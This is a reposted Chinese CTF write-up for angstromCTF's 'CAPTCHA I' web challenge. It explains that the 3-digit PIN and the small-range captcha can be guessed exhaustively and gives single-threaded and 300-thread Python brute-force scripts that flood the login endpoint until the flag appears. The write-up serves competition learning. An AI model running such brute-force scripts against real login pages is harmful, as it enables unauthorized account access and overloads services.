[actf](web)CAPTCHA I

简介 :

题目地址 : http://web.angstromctf.com:1342/
比赛地址 : https://angstromctf.com

《[actf](web)CAPTCHA I》 image.png

分析 :

《[actf](web)CAPTCHA I》 image.png

需要输入图片验证码以及 3 位的 pin 码才可以登录
这里其实是有漏洞的 , 3 位的 pin 码可以被爆破
但是爆破首先要解决的就是图片验证码的问题
通过查看HTTP响应头 , 并没有发现 set-cookie
因此这里的验证码是和 cookie 无关的
验证码会给你提供一个图片以及一个问题
其中 :

  1. 验证码的图片是一些由红绿蓝三种颜色以及三角形圆形正方形这三种形状随机组合产生的图片
  2. 问题是问其中某一种颜色和形状的组合出现的次数

经过尝试发现 , 这里验证码的范围也是在 0 – 10 范围内
这样的话 , 就给了我们爆破的机会
我们只需要进行少于 999 * 10 次的爆破就可以成功登录
下面给出一个单线程的爆破脚本 :

#!/usr/bin/env python

import requests

url = "http://web.angstromctf.com:1342/"

LAST_WRONG = -1

for pin in range(1000):
    print "[+] Start brute : pin = [%03d]" % (pin)
    while True:
        FLAG = False
        for captcha in range(10):
            print "[+] Guessing captcha: [%d]" % (captcha)
            response = requests.post(url, data={'question1':captcha, 'pin':'%03d' % pin})
            content = response.text
            if "Wrong pin!" in content:
                FLAG = True
                break
        if FLAG:
            print "[+] pin : [%03d] is wrong! (offset : %d)" % (pin, pin - LAST_WRONG)
            if pin - LAST_WRONG > 1:
                print "[+] Found : pin = %03d" % (pin)
                exit(1)
            LAST_WRONG = pin
            break

现在脚本才跑到不到一百个 pin
还是利用这个时间写个多线程的脚本吧…
多线程爆破脚本如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import threading
import requests

# config-start
timeout = 5  # 设置超时
threadNumber = 300  # 设置线程数
r = range(0, 1000)
# config-end

url = "http://web.angstromctf.com:1342/"

def handle(url, pin):
    # print "[+] Burting pin = [%d]" % (pin)
    while True:
        for captcha in range(10):
            # print "[+] Guessing captcha: [%d]" % (captcha)
            data = {'question1': captcha, 'pin': '%03d' % pin}
            response = requests.post(url, data=data)
            content = response.text
            if "Wrong pin!" in content:
                print "[-] Wrong pin! : [%d]" % (pin)
                return
            if "actf" in content:
                print content
                print "[+] Found : %d" % (pin)
                exit(0)


class myThread (threading.Thread):
    def __init__(self, url, pin):
        threading.Thread.__init__(self)
        self.url = url
        self.pin = pin

    def run(self):
        handle(self.url, self.pin)


threads = []

# Add the thread pool
for pin in r:
    print "[+] Start brute : pin = [%03d]" % (pin)
    threads.append(myThread(url, pin))


# start running
for t in threads:
    t.start()
    while True:
        if(len(threading.enumerate()) < threadNumber):
            break

大概需要一分钟左右吧 , 应该就可以跑出来了
跑出来打印一下响应体就可以拿到 flag 了

    原文作者:王一航
    原文地址: https://www.jianshu.com/p/a095271a3127
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞